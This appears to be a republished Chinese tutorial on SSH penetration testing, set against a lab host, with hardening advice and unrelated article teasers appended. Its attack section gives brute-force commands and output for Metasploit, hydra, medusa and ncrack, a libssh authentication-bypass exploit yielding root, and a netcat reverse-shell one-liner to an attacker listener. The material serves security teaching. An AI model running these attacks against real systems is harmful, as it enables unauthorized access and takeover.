SSH服务渗透测试利用指北

2024-03-06 05:38
文章标签 服务 测试 渗透 ssh 指北

本文主要是介绍SSH服务渗透测试利用指北,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

0x01 SSH和SFTP是什么

SSH是一种安全的远程shell协议,用于通过不安全的网络安全地运行网络服务。默认的SSH端口是22,通常会在Internet或Intranet上的服务器上看到它的打开状态。

SFTP是SSH文件传输协议,该协议用于通过SSH连接传输文件,大多数SSH实现也支持SFTP。

0x02 SSH服务器/库

最著名和最常见的SSH服务器和客户端是openSSH(OpenBSD安全shell)。它是一个功能强大的实现,维护良好,于1999年首次发布。因此,这是自Windows 10以来在Windows中附带的BSD,Linux的软件中Windows上最常看到的实现。

但是openSSH并不是唯一的实现,这里还有其他软件实现:

SSH服务器:

· openSSH – OpenBSD SSH,自Windows 10起在BSD,Linux发行版和Windows中提供

· Dropbear – OpenWrt附带的用于内存和处理器资源较少的环境的SSH实现

· PuTTY – Windows的SSH实现,通常使用客户端,很少使用服务器

· CopSSH – Windows版OpenSSH的实现

SSH库(在服务器端实现):

· libssh -多平台C库实现与在绑定SSHv2的协议的Python,Perl的和ropensci ; 它由KDE用于sftp,由GitHub用于git SSH基础结构

· wolfSSH –用ANSI C编写的SSHv2服务器库,面向嵌入式,奇热RTOS和资源受限的环境

· Apache MINA SSHD – Apache SSHD Java库基于Apache MINA

· paramiko – Python SSHv2协议库

0x03 常见配置错误

root账号登录

默认情况下,大多数SSH服务器实现将允许root登录,建议禁用它,因为如果该帐户的凭据泄漏,攻击者将直接获得管理特权,这也将允许攻击者对该帐户进行暴力攻击。

如何禁用openSSH的root登录:

1. 编辑SSH服务器配置 sudoedit /etc/ssh/sshd_config

2. 更改#PermitRootLogin yes成PermitRootLogin no

3. 进行配置更改: sudo systemctl daemon-reload

4. 重启SSH服务器 sudo systemctl restart sshd

SFTP命令执行

另一个常见的SSH错误配置通常出现在SFTP配置中。在大多数情况下,创建SFTP服务器时,管理员希望用户具有SFTP访问权限来共享文件,而不希望在计算机上获得远程Shell。因此,他们认为创建用户,为用户分配占位符shell(如/usr/bin/nologin或/usr/bin/false)并将其chroot足以避免shell访问或滥用整个文件系统。但这是错误的,用户可以在身份验证后立即要求执行命令,然后再执行其默认命令或shell程序。因此,要绕过将拒绝shell访问的占位符shell,只需执行以下操作即可要求执行一条命令(例如/bin/bash):

 $ ssh -v noraj@192.168.1.94 id...Password:debug1: Authentication succeeded (keyboard-interactive).Authenticated to 192.168.1.94 ([192.168.1.94]:22).debug1: channel 0: new [client-session]debug1: Requesting no-more-sessions@openssh.comdebug1: Entering interactive session.debug1: pledge: networkdebug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0debug1: Sending command: iddebug1: client_input_channel_req: channel 0 rtype exit-status reply 0debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0uid=1000(noraj) gid=100(users) groups=100(users)debug1: channel 0: free: client-session, nchannels 1Transferred: sent 2412, received 2480 bytes, in 0.1 secondsBytes per second: sent 43133.4, received 44349.5debug1: Exit status 0$ ssh noraj@192.168.1.94 /bin/bash

这是用户的安全SFTP配置(/etc/ssh/sshd_config– openSSH)的noraj示例:

 Match User norajChrootDirectory %hForceCommand internal-sftpAllowTcpForwarding noPermitTunnel noX11Forwarding noPermitTTY no

此配置将仅允许SFTP:通过强制启动命令并禁用TTY访问来禁用shell程序访问,还可以禁用所有类型的端口转发或隧道。

认证方式

在高安全性环境中,通常的做法是仅启用基于密钥或两因素的身份验证,而不是基于简单因素密码的身份验证。但是通常启用更强的身份验证方法而不会禁用较弱的身份验证方法。一种常见的情况是启用publickeyopenSSH配置并将其设置为默认方法,而不是禁用password。因此,通过使用SSH客户端的详细模式,攻击者可以启用了一种较弱登录的方法:

 $ ssh -v 192.168.1.94OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019...debug1: Authentications that can continue: publickey,password,keyboard-interactive

例如,如果设置了身份验证失败限制,而你再也没有机会使用密码方法,则可以使用该PreferredAuthentications选项强制使用此方法。

 $ ssh -v 192.168.1.94 -o PreferredAuthentications=password...debug1: Next authentication method: password

查看SSH服务器配置是否必要,以检查是否仅授权了预期的方法。在客户端上使用详细模式可以帮助查看配置的有效性。

0x04 攻击演示

现在,我们将看到一组攻击示例,你可以在某些SSH服务器实现中复制这些攻击示例。

密码爆破

现在,我将使用四个工具,通过metasploit框架,hydra,medusa和ncrack,对带有密码字典的SSH用户密码进行暴力破解。

在所有情况下,我们将机器锁定192.168.1.94在端口22上,并且仅暴力破解用户noraj的密码。

如果你不了解参数/选项,请阅读下面给出的帮助消息。

Metasploit

使用Metasploit:

 $ msf5 > search sshMatching Modules================#   Name                                                        Disclosure Date  Rank       Check  Description-   ----                                                        ---------------  ----       -----  -----------...17  auxiliary/scanner/ssh/ssh_login                                              normal     Yes    SSH Login Check Scanner...msf5 > use 17msf5 auxiliary(scanner/ssh/ssh_login) > show optionsModule options (auxiliary/scanner/ssh/ssh_login):Name              Current Setting  Required  Description----              ---------------  --------  -----------BLANK_PASSWORDS   false            no        Try blank passwords for all usersBRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5DB_ALL_CREDS      false            no        Try each user/password couple stored in the current databaseDB_ALL_PASS       false            no        Add all passwords in the current database to the listDB_ALL_USERS      false            no        Add all users in the current database to the listPASSWORD                           no        A specific password to authenticate withPASS_FILE                          no        File containing passwords, one per lineRHOSTS                             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'RPORT             22               yes       The target portSTOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a hostTHREADS           1                yes       The number of concurrent threads (max one per host)USERNAME                           no        A specific username to authenticate asUSERPASS_FILE                      no        File containing users and passwords separated by space, one pair per lineUSER_AS_PASS      false            no        Try the username as the password for all usersUSER_FILE                          no        File containing usernames, one per lineVERBOSE           false            yes       Whether to print output for all attemptsmsf5 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /usr/share/wordlists/password/rockyou.txtPASS_FILE => /usr/share/wordlists/password/rockyou.txtmsf5 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.1.94RHOSTS => 192.168.1.94msf5 auxiliary(scanner/ssh/ssh_login) > set THREADS 10THREADS => 10msf5 auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS trueSTOP_ON_SUCCESS => truemsf5 auxiliary(scanner/ssh/ssh_login) > set username norajusername => norajmsf5 auxiliary(scanner/ssh/ssh_login) > run[+] 192.168.1.94:22 - Success: 'noraj:noraj' ''[*] Command shell session 1 opened (192.168.1.83:37291 -> 192.168.1.94:22) at 2020-01-02 21:33:33 +0100[*] Scanned 1 of 1 hosts (100% complete)[*] Auxiliary module execution completed

hydra

下载地址:https://github.com/vanhauser-thc/thc-hydra

 $ hydra -l noraj -P /usr/share/wordlists/password/rockyou.txt -e s ssh://192.168.1.94Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-01-02 21:44:28[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task[DATA] attacking ssh://192.168.1.94:22/[22][ssh] host: 192.168.1.94   login: noraj   password: noraj1 of 1 target successfully completed, 1 valid password foundHydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-01-02 21:44:33

帮助消息的摘录:

   -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE-p PASS  or -P FILE  try password PASS, or load several passwords from FILE-e nsr    try "n" null password, "s" login as pass and/or "r" reversed loginservice   the service to crack (see below for supported protocols)

medusa

下载地址:http://foofus.net/goons/jmk/medusa/medusa.html

 $ medusa -h 192.168.1.94 -u noraj -P /usr/share/wordlists/password/rockyou.txt -e s -M sshMedusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks  ACCOUNT CHECK: [ssh] Host: 192.168.1.94 (1 of 1, 0 complete) User: noraj (1 of 1, 0 complete) Password: noraj (1 of 14344391 complete)ACCOUNT FOUND: [ssh] Host: 192.168.1.94 User: noraj Password: noraj [SUCCESS]

帮助消息的摘录:

   -h [TEXT]    : Target hostname or IP address-u [TEXT]    : Username to test-P [FILE]    : File containing passwords to test-e [n/s/ns]  : Additional password checks ([n] No Password, [s] Password = Username)-M [TEXT]    : Name of the module to execute (without the .mod extension)

ncrack

下载地址:https://github.com/nmap/ncrack

 $ ncrack --user noraj -P /usr/share/wordlists/password/rockyou.txt ssh://192.168.1.94Starting Ncrack 0.7 ( http://ncrack.org ) at 2020-01-02 21:50 CETDiscovered credentials for ssh on 192.168.1.94 22/tcp:192.168.1.94 22/tcp ssh: 'noraj' 'noraj'Ncrack done: 1 service scanned in 3.00 seconds.Ncrack finished.

帮助消息的摘录:

   -P : password file--user : comma-separated username list

漏洞利用– LibSSH RCE

CVE-2018-10933是libssh库的漏洞的一个示例,此漏洞通过绕过身份验证允许未经授权的访问。

libssh 0.6及更高版本在服务器代码中具有身份验证绕过漏洞。通过向服务器提供SSH2_MSG_USERAUTH_SUCCESS消息代替服务器希望进行身份验证的SSH2_MSG_USERAUTH_REQUEST消息,攻击者可以在没有任何凭据的情况下成功进行身份验证。

 https://www.libssh.org/security/advisories/CVE-2018-10933.txt

当你找到易受攻击的版本时,nmap应该看到类似以下内容:

 22/tcp  open     ssh      libssh 0.8.3 (protocol 2.0)

searchsploit(用于本地浏览Exploit-DB的工具)显示了可用于libssh的现有漏洞利用。

 searchsploit libssh-------------------------------------------------------------------------------------------- ----------------------------------------Exploit Title                                                                              |  Path| (/usr/share/exploitdb/)-------------------------------------------------------------------------------------------- ----------------------------------------LibSSH 0.7.6 / 0.8.4 - Unauthorized Access                                                  | exploits/linux/remote/46307.pylibSSH - Authentication Bypass                                                              | exploits/linux/remote/45638.py-------------------------------------------------------------------------------------------- ----------------------------------------Shellcodes: No Result

因此,我们可以使用漏洞利用程序在目标上执行命令,以确认其是否正常运行。

 $ python /usr/share/exploitdb/exploits/linux/remote/46307.py 192.168.1.94 22 iduid=0(root) gid=0(root) groups=0(root)

我们可以尝试执行反向Shell,而不仅仅是运行命令。

首先,我们在机器上启动监听器:sudo ncat -nlp 80。

然后,在漏洞利用中使用sh反向shell paylaod:

 python /usr/share/exploitdb/exploits/linux/remote/46307.py 192.168.1.94 22 "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.100 80 >/tmp/f"

模糊测试

由于模糊测试很复杂,因此我只重点介绍两种方法:

· 通用和自动化方法。

· 自定义和手动方法。

通用和自动化方法

可以使用sshfuzz.pl之类的脚本来自动对实时SSH服务器进行模糊测试,无论其实现如何。

它具有简单的优点,但是它的针对性不强,因此将花费大量时间并且错过很多结果。

安装依赖并启动脚本就像编写这两行一样简单:

 $ cpan Net::SSH2$ ./sshfuzz.pl -H 192.168.1.94 -P 22 -u noraj -p noraj

另一种适用于任何实时SSH服务器的自动化方法是使用metasploit模块auxiliary/fuzzers/ssh/ssh_version_2:

 msf5 > use auxiliary/fuzzers/ssh/ssh_version_2msf5 auxiliary(fuzzers/ssh/ssh_version_2) > set RHOSTS 192.168.1.94msf5 auxiliary(fuzzers/ssh/ssh_version_2) > run[*] Running module against 192.168.1.94[*] 192.168.1.94:22 - Fuzzing with iteration 100 using fuzzer_string_giant[*] 192.168.1.94:22 - Fuzzing with iteration 200 using fuzzer_string_giant[*] 192.168.1.94:22 - Fuzzing with iteration 300 using fuzzer_string_long[*] 192.168.1.94:22 - Fuzzing with iteration 400 using fuzzer_string_long[*] 192.168.1.94:22 - Fuzzing with iteration 500 using fuzzer_string_paths_giant[*] 192.168.1.94:22 - Fuzzing with iteration 600 using fuzzer_string_paths_giant[*] 192.168.1.94:22 - Fuzzing with iteration 700 using fuzzer_string_paths_giant[*] 192.168.1.94:22 - Fuzzing with iteration 800 using fuzzer_string_paths_giant[*] 192.168.1.94:22 - Fuzzing with iteration 900 using fuzzer_string_paths_giant[*] 192.168.1.94:22 - Fuzzing with iteration 1000 using fuzzer_string_paths_giant...

使用这些工具很容易,但是找到可利用的东西的机会很小。

自定义和手动方法

如果你想找到更重要的结果并有时间熟悉目标实现,可以选择手动方法。

这里的技术是在自运行的SSH服务器上使用高级通用fuzzer,并修改源代码以优化测试执行时间。因此,它将需要配置模fuzzer,配置和构建目标实现,检测崩溃,减少使用资源密集型功能以加快fuzzing,增加覆盖范围,创建输入测试用例和输入字典,必须深刻的理解SSH协议及其实现。

这是Vegard Nossum 使用AFL对OpenSSH守护进程进行Fuzzing的示例。

 http://www.vegardno.net/2017/03/fuzzing-openssh-daemon-using-afl.html

0x05 相关工具资源

“ HASSH ”是一种网络指纹识别标准,可用于标识特定的客户端和服务器SSH实现。指纹可以以MD5指纹的形式轻松存储,搜索和共享。

HASSH是一项标准,可帮助团队检测,控制和调查暴力或凭据填充密码尝试,数据泄露,网络发现和横向移动等。

ssh-audit是SSH服务器代码审计工具(密钥交换,加密,mac,压缩信息,兼容性,安全性等)。

对于专业的渗透测试人员来说,快速检测目标版本并了解远程服务器上可用的算法以向客户提供算法建议非常方便。

使用示例:

 $ ssh-audit 192.168.1.94# general(gen) banner: SSH-2.0-OpenSSH_7.9(gen) software: OpenSSH 7.9(gen) compatibility: OpenSSH 7.3+, Dropbear SSH 2016.73+(gen) compression: enabled (zlib@openssh.com)# key exchange algorithms(kex) curve25519-sha256                     -- [warn] unknown algorithm(kex) curve25519-sha256@libssh.org          -- [info] available since OpenSSH 6.5, Dropbear SSH 2013.62(kex) ecdh-sha2-nistp256                    -- [fail] using weak elliptic curves`- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62(kex) ecdh-sha2-nistp384                    -- [fail] using weak elliptic curves`- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62(kex) ecdh-sha2-nistp521                    -- [fail] using weak elliptic curves`- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62(kex) diffie-hellman-group-exchange-sha256  -- [warn] using custom size modulus (possibly weak)`- [info] available since OpenSSH 4.4(kex) diffie-hellman-group16-sha512         -- [info] available since OpenSSH 7.3, Dropbear SSH 2016.73(kex) diffie-hellman-group18-sha512         -- [info] available since OpenSSH 7.3(kex) diffie-hellman-group14-sha256         -- [info] available since OpenSSH 7.3, Dropbear SSH 2016.73(kex) diffie-hellman-group14-sha1           -- [warn] using weak hashing algorithm`- [info] available since OpenSSH 3.9, Dropbear SSH 0.53# host-key algorithms(key) rsa-sha2-512                          -- [info] available since OpenSSH 7.2(key) rsa-sha2-256                          -- [info] available since OpenSSH 7.2(key) ssh-rsa                               -- [info] available since OpenSSH 2.5.0, Dropbear SSH 0.28(key) ecdsa-sha2-nistp256                   -- [fail] using weak elliptic curves`- [warn] using weak random number generator could reveal the key`- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62(key) ssh-ed25519                           -- [info] available since OpenSSH 6.5# encryption algorithms (ciphers)(enc) chacha20-poly1305@openssh.com         -- [info] available since OpenSSH 6.5`- [info] default cipher since OpenSSH 6.9.(enc) aes128-ctr                            -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52(enc) aes192-ctr                            -- [info] available since OpenSSH 3.7(enc) aes256-ctr                            -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52(enc) aes128-gcm@openssh.com                -- [info] available since OpenSSH 6.2(enc) aes256-gcm@openssh.com                -- [info] available since OpenSSH 6.2# message authentication code algorithms(mac) umac-64-etm@openssh.com               -- [warn] using small 64-bit tag size`- [info] available since OpenSSH 6.2(mac) umac-128-etm@openssh.com              -- [info] available since OpenSSH 6.2(mac) hmac-sha2-256-etm@openssh.com         -- [info] available since OpenSSH 6.2(mac) hmac-sha2-512-etm@openssh.com         -- [info] available since OpenSSH 6.2(mac) hmac-sha1-etm@openssh.com             -- [warn] using weak hashing algorithm`- [info] available since OpenSSH 6.2(mac) umac-64@openssh.com                   -- [warn] using encrypt-and-MAC mode`- [warn] using small 64-bit tag size`- [info] available since OpenSSH 4.7(mac) umac-128@openssh.com                  -- [warn] using encrypt-and-MAC mode`- [info] available since OpenSSH 6.2(mac) hmac-sha2-256                         -- [warn] using encrypt-and-MAC mode`- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56(mac) hmac-sha2-512                         -- [warn] using encrypt-and-MAC mode`- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56(mac) hmac-sha1                             -- [warn] using encrypt-and-MAC mode`- [warn] using weak hashing algorithm`- [info] available since OpenSSH 2.1.0, Dropbear SSH 0.28# algorithm recommendations (for OpenSSH 7.9)(rec) -ecdh-sha2-nistp521                   -- kex algorithm to remove (rec) -ecdh-sha2-nistp384                   -- kex algorithm to remove (rec) -diffie-hellman-group14-sha1          -- kex algorithm to remove (rec) -ecdh-sha2-nistp256                   -- kex algorithm to remove (rec) -diffie-hellman-group-exchange-sha256 -- kex algorithm to remove (rec) -ecdsa-sha2-nistp256                  -- key algorithm to remove (rec) -hmac-sha2-512                        -- mac algorithm to remove (rec) -umac-128@openssh.com                 -- mac algorithm to remove (rec) -hmac-sha2-256                        -- mac algorithm to remove (rec) -umac-64@openssh.com                  -- mac algorithm to remove (rec) -hmac-sha1                            -- mac algorithm to remove (rec) -hmac-sha1-etm@openssh.com            -- mac algorithm to remove (rec) -umac-64-etm@openssh.com              -- mac algorithm to remove

尽管对于SSH特定的漏洞利用开发并没有多少实际存在,但许多相同的一般趋势也适用。许多书籍和文章详细介绍了0-day漏洞基于栈和基于堆的漏洞利用的开发,其中一些在资源页面的相应部分中进行了介绍。

 [Corelan](https://www.corelan.be/)https://community.turgensec.com/cyber-security-books/#Exploit_Development_BooksShellcoders黑客手册:https://www.amazon.com/Web-Application-Hackers-Handbook-Exploiting/dp/1118026470/ref=as_li_ss_tl?&hvadid=310913487979&hvpos=1o1&hvnetw=g&hvrand=8783653603300561519&hvpone=&hvptwo=&hvqmt=&hvdev=c&hvdvcmdl=&hvlocint=&hvlocphy=9045957&hvtargid=pla-490871754939&psc=1&th=1&psc=1&linkCode=ll1&tag=turgen-20&linkId=07fb8b8c94849821380f9f4e955ec549&language=en_US

下面列出了一些近期最著名的远程SSH漏洞:

· https://www.exploit-db.com/exploits/18557〜Sysax 5.53 – SSH“用户名”远程缓冲区溢出漏洞

· https://www.exploit-db.com/exploits/45001〜OpenSSH <6.6 SFTP –命令执行漏洞

· https://www.exploit-db.com/exploits/45233〜OpenSSH 2.3<7.7 –用户名枚举漏洞

· https://www.exploit-db.com/exploits/46516〜OpenSSH SCP客户端–写入任意文件漏洞

0x06 SSH安全准则

Mozilla在本参考指南中提出了一些建议,以帮助保护OpenSSH服务器的安全。

 https://infosec.mozilla.org/guidelines/opensshhttps://bettercrypto.org/#sshhttps://github.com/BetterCrypto/Applied-Crypto-Hardening

有关安全SSH配置的最新最佳实践,也在Applied Crypto Hardening的指南中给出,当前为OpenSSH,Cisco ASA和Cisco IOS提供了配置示例。

这篇关于SSH服务渗透测试利用指北的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/778993

相关文章

性能测试介绍

性能测试是一种测试方法,旨在评估系统、应用程序或组件在现实场景中的性能表现和可靠性。它通常用于衡量系统在不同负载条件下的响应时间、吞吐量、资源利用率、稳定性和可扩展性等关键指标。 为什么要进行性能测试 通过性能测试,可以确定系统是否能够满足预期的性能要求,找出性能瓶颈和潜在的问题,并进行优化和调整。 发现性能瓶颈:性能测试可以帮助发现系统的性能瓶颈,即系统在高负载或高并发情况下可能出现的问题

字节面试 | 如何测试RocketMQ、RocketMQ?

字节面试:RocketMQ是怎么测试的呢? 答: 首先保证消息的消费正确、设计逆向用例,在验证消息内容为空等情况时的消费正确性; 推送大批量MQ,通过Admin控制台查看MQ消费的情况,是否出现消费假死、TPS是否正常等等问题。(上述都是临场发挥,但是RocketMQ真正的测试点,还真的需要探讨) 01 先了解RocketMQ 作为测试也是要简单了解RocketMQ。简单来说,就是一个分

【测试】输入正确用户名和密码,点击登录没有响应的可能性原因

目录 一、前端问题 1. 界面交互问题 2. 输入数据校验问题 二、网络问题 1. 网络连接中断 2. 代理设置问题 三、后端问题 1. 服务器故障 2. 数据库问题 3. 权限问题: 四、其他问题 1. 缓存问题 2. 第三方服务问题 3. 配置问题 一、前端问题 1. 界面交互问题 登录按钮的点击事件未正确绑定,导致点击后无法触发登录操作。 页面可能存在

【区块链 + 人才服务】可信教育区块链治理系统 | FISCO BCOS应用案例

伴随着区块链技术的不断完善,其在教育信息化中的应用也在持续发展。利用区块链数据共识、不可篡改的特性, 将与教育相关的数据要素在区块链上进行存证确权,在确保数据可信的前提下,促进教育的公平、透明、开放,为教育教学质量提升赋能,实现教育数据的安全共享、高等教育体系的智慧治理。 可信教育区块链治理系统的顶层治理架构由教育部、高校、企业、学生等多方角色共同参与建设、维护,支撑教育资源共享、教学质量评估、

业务中14个需要进行A/B测试的时刻[信息图]

在本指南中,我们将全面了解有关 A/B测试 的所有内容。 我们将介绍不同类型的A/B测试,如何有效地规划和启动测试,如何评估测试是否成功,您应该关注哪些指标,多年来我们发现的常见错误等等。 什么是A/B测试? A/B测试(有时称为“分割测试”)是一种实验类型,其中您创建两种或多种内容变体——如登录页面、电子邮件或广告——并将它们显示给不同的受众群体,以查看哪一种效果最好。 本质上,A/B测

【区块链 + 人才服务】区块链集成开发平台 | FISCO BCOS应用案例

随着区块链技术的快速发展,越来越多的企业开始将其应用于实际业务中。然而,区块链技术的专业性使得其集成开发成为一项挑战。针对此,广东中创智慧科技有限公司基于国产开源联盟链 FISCO BCOS 推出了区块链集成开发平台。该平台基于区块链技术,提供一套全面的区块链开发工具和开发环境,支持开发者快速开发和部署区块链应用。此外,该平台还可以提供一套全面的区块链开发教程和文档,帮助开发者快速上手区块链开发。

git ssh key相关

step1、进入.ssh文件夹   (windows下 下载git客户端)   cd ~/.ssh(windows mkdir ~/.ssh) step2、配置name和email git config --global user.name "你的名称"git config --global user.email "你的邮箱" step3、生成key ssh-keygen

基于SpringBoot的宠物服务系统+uniapp小程序+LW参考示例

系列文章目录 1.基于SSM的洗衣房管理系统+原生微信小程序+LW参考示例 2.基于SpringBoot的宠物摄影网站管理系统+LW参考示例 3.基于SpringBoot+Vue的企业人事管理系统+LW参考示例 4.基于SSM的高校实验室管理系统+LW参考示例 5.基于SpringBoot的二手数码回收系统+原生微信小程序+LW参考示例 6.基于SSM的民宿预订管理系统+LW参考示例 7.基于

Verybot之OpenCV应用一:安装与图像采集测试

在Verybot上安装OpenCV是很简单的,只需要执行:         sudo apt-get update         sudo apt-get install libopencv-dev         sudo apt-get install python-opencv         下面就对安装好的OpenCV进行一下测试,编写一个通过USB摄像头采

Golang支持平滑升级的HTTP服务

前段时间用Golang在做一个HTTP的接口,因编译型语言的特性,修改了代码需要重新编译可执行文件,关闭正在运行的老程序,并启动新程序。对于访问量较大的面向用户的产品,关闭、重启的过程中势必会出现无法访问的情况,从而影响用户体验。 使用Golang的系统包开发HTTP服务,是无法支持平滑升级(优雅重启)的,本文将探讨如何解决该问题。 一、平滑升级(优雅重启)的一般思路 一般情况下,要实现平滑